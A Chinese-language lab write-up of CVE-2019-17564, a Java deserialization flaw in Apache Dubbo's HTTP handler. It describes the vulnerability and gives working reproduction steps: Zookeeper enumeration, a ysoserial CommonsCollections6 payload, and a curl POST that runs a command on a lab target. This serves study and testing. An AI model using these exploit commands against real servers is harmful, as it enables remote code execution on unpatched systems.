漏洞描述
Apache Dubbo 是一个高性能的、基于 Java 的开源 RPC 框架。
Apache Dubbo 支持不同的协议,它的 HTTP 协议处理程序是 Spring Framework 的 .org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter
Spring Framework 的安全警告显示,HttpInvokerServiceExporter
中存在不安全的 Java 反序列化,这可能导致 RCE 漏洞:
警告:请注意由于不安全的 Java 反序列化而导致的漏洞:纵的输入流可能导致不需要的代码 因此,不要将 HTTP 调用程序端点暴露给不受信任的客户端 因此,不要将 HTTP 调用程序端点暴露给不受信任的客户端,而仅在您自己的服务之间公开。一般来说,我们强烈建议使用任何其他消息格式(例如 JSON)。
该漏洞影响 Apache Dubbo 2.7.4 及更早版本,在 2.7.5 之后 Dubbo 替换为 .HttpInvokerServiceExporter
com.googlecode.jsonrpc4j.JsonRpcServer
参考链接。
- https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.html
- CVE-2019-17564 : Apache Dubbo反序列化漏洞处置通告-安全客 - 安全资讯平台
- Apache Dubbo(CVE-2019-17564)反序列化漏洞分析
漏洞环境及利用
搭建docker环境
访问8080端口
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
tar -xvf zookeeper-3.3.3.tar.gz
解压后,进入Zookeeper执行bin目录下的zkCli.sh
./zkCli.sh -server 192.168.232.128:2181
获取RPC接口名称
ysoserial下载链接 :下载好之后直接将文件拖至kali桌面.
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
接着用ysoserial工具生成CommonsCollections6的Payload作为POST Body发送到http://192.168.232.128:8080/org.vulhub.api.CalcService即可触发反序列化漏洞:
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections6 "touch /tmp/success" > 1.poc #生成一个创建success的1.poc
curl -XPOST --data-binary @1.poc http://192.168.232.128:8080/org.vulhub.api.CalcService #将Payload作为POST Body发送到靶机.这里记得换成你靶机的IP
这个地方生成payload需要root权限,前面chmod加权限也没有用
可以看到命令执行成功